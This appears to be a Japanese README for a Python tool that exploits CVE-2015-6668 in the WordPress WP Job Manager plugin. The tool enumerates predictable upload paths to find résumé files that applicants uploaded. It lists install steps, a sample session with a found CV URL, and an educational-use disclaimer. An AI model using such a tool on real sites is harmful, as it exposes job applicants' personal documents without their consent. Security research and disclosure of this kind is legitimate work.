
このスクリプトは、CVE-2015-6668 の脆弱性を介して公開されているCVファイル(.jpg、.png、.jpeg など)を自動的に探索します。この脆弱性は、WordPress 用プラグイン WP Job Manager(バージョン ≤ 0.7.25)に関連しています。
この脆弱性により、ユーザーがアップロードしたファイル(例:履歴書)の正確な名前を、Webサーバー上の予測可能なアップロードパスに直接アクセスすることで知ることができます。
このスクリプトは:
tqdm による対話型のプログレスバーを表示します。found_cv_urls.txt に保存します。次のコマンドを実行して依存関係をインストールします:
pip install -r requirements.txt
requirements.txtrequests
tqdm
colorama
python jobmanagerdisclosure.py
Enter a vulnerable website (e.g. https://example.com): https://example.com
Enter the CV file name (e.g. John Doe): HackerAccessGranted
Enter start year (e.g. 2017): 2017
Enter end year (e.g. 2019): 2019
[+] Found CV: https://example.com/wp-content/uploads/2018/04/HackerAccessGranted.png
[+] Results saved to found_cv_urls.txt
jobmanagerdisclosure.py: メインスクリプト。requirements.txt: 必要なライブラリ。found_cv_urls.txt: 見つかったURLを保存した生成ファイル。README.md: プロジェクトのドキュメント。このスクリプトは教育目的のみで提供されています。明示的な許可なくシステムで使用することを意図したものではありません。このスクリプトの不正使用は違法となる可能性があります。